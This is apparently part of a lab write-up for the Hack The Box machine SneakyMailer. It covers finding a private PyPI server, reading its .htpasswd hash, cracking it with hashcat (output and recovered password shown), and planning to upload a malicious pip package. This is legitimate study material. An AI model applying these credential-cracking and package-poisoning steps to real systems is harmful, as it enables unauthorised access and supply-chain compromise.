PyPi
www-data@sneakymailer:~$ ll
total 24K
4.0K drwxr-xr-x 8 root root 4.0K Jun 23 2020 sneakycorp.htb
4.0K drwxr-xr-x 3 root root 4.0K Jun 23 2020 dev.sneakycorp.htb
4.0K drwxr-xr-x 4 root root 4.0K May 15 2020 pypi.sneakycorp.htb
4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 .
4.0K drwxr-xr-x 2 root root 4.0K May 14 2020 html
4.0K drwxr-xr-x 12 root root 4.0K May 14 2020 ..
Checking the default web directory, /var/www
reveals another sub-domain / virtual host
I was aware of that there’s something going on with PyPi as the organization was pushing to make it available locally, but I did not know there was a sub-domain / virtual host for that as well.
www-data@sneakymailer:~/pypi.sneakycorp.htb$ ps -auxwww | grep -i pypi
pypi 681 0.0 0.6 36804 26036 ? ss 05:57 0:14 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
There is also a process that I found earlier relevant to PyPi
It’s running with the privileges of the pypi
user
Virtual Host
www-data@sneakymailer:~$ ll /etc/nginx/sites-enabled
total 8.0K
4.0K drwxr-xr-x 2 root root 4.0K May 26 2020 .
0 lrwxrwxrwx 1 root root 46 May 14 2020 pypi.sneakycorp.htb -> /etc/nginx/sites-available/pypi.sneakycorp.htb
0 lrwxrwxrwx 1 root root 41 May 14 2020 sneakycorp.htb -> /etc/nginx/sites-available/sneakycorp.htb
4.0K drwxr-xr-x 8 root root 4.0K May 14 2020 ..
All the web servers are powered by Nginx, and checking its configuration file shows that pypi.sneakycorp.htb
is indeed enabled.
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ cat /etc/nginx/sites-enabled/pypi.sneakycorp.htb
server {
listen 0.0.0.0:8080 default_server;
listen [::]:8080 default_server;
server_name _;
}
server {
listen 0.0.0.0:8080;
listen [::]:8080;
server_name pypi.sneakycorp.htb;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Checking the Nginx configuration file for pypi.sneakycorp.htb
reveals that it is indeed
- a virtual host
- originally hosted on the
127.0.0.1:5000
socket - proxied over the
0.0.0.0:8080
socket
htpasswd
www-data@sneakymailer:~$ cd pypi.sneakycorp.htb ; ll
total 20K
4.0K drwxrwx--- 2 root pypi-pkg 4.0K Jun 30 2020 packages
4.0K -rw-r--r-- 1 root root 43 May 15 2020 .htpasswd
4.0K drwxr-xr-x 4 root root 4.0K May 15 2020 .
4.0K drwxr-xr-x 6 root pypi 4.0K May 14 2020 venv
4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 ..
The web directory for the pypi.sneakycorp.htb
virtual host contains a htpasswd file
Presence of the .htpasswd
file suggests that the resource inside might be secured using the basic HTTP authentication
www-data@sneakymailer:~/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
The credential is hashed for obvious reaons
Password Cracking
┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ hashcat -a 0 -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Session..........: hashcat
Status...........: Running
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Thu Mar 16 16:01:10 2023 (1 min, 25 secs)
Time.Estimated...: Thu Mar 16 16:15:17 2023 (12 mins, 42 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16923 H/s (5.78ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 1436928/14344385 (10.02%)
Rejected.........: 0/1436928 (0.00%)
Restore.Point....: 1436928/14344385 (10.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidate.Engine.: Device Generator
Candidates.#1....: nockoy -> nmouna
Hardware.Mon.#1..: Util: 95%
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Thu Mar 16 16:01:10 2023 (3 mins, 38 secs)
Time.Estimated...: Thu Mar 16 16:04:48 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16596 H/s (5.54ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3614208/14344385 (25.20%)
Rejected.........: 0/3614208 (0.00%)
Restore.Point....: 3613440/14344385 (25.19%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidate.Engine.: Device Generator
Candidates.#1....: souleater10 -> soucia
Hardware.Mon.#1..: Util: 96%
Started: Thu Mar 16 16:00:55 2023
Stopped: Thu Mar 16 16:04:49 2023
hashcat was able to crack the password hash
The cracked password hash is soufianeelhaoui
pypi.sneakycorp.htb
In order to access the web server, I would need to append the newly discovered virtual host to the
/etc/hosts
file on Kali
the pypiserver is indeed present and proxied over the port
8080
A PyPI server, also known as a PyPI repository or PyPI mirror, is a local or private copy of the PyPI repository. This allows developers to create their own package repositories and host their own packages in a secure and private manner.
Both hyperlinks respectively leading to the
/packages/
and /simple/
directory require the basic HTTP authentication
I will authenticate using the cracked credential above
Although I am able to authenticate and access, those directories are empty
However, I might be able to exploit it by uploading a malicious PIP package since I can now access the service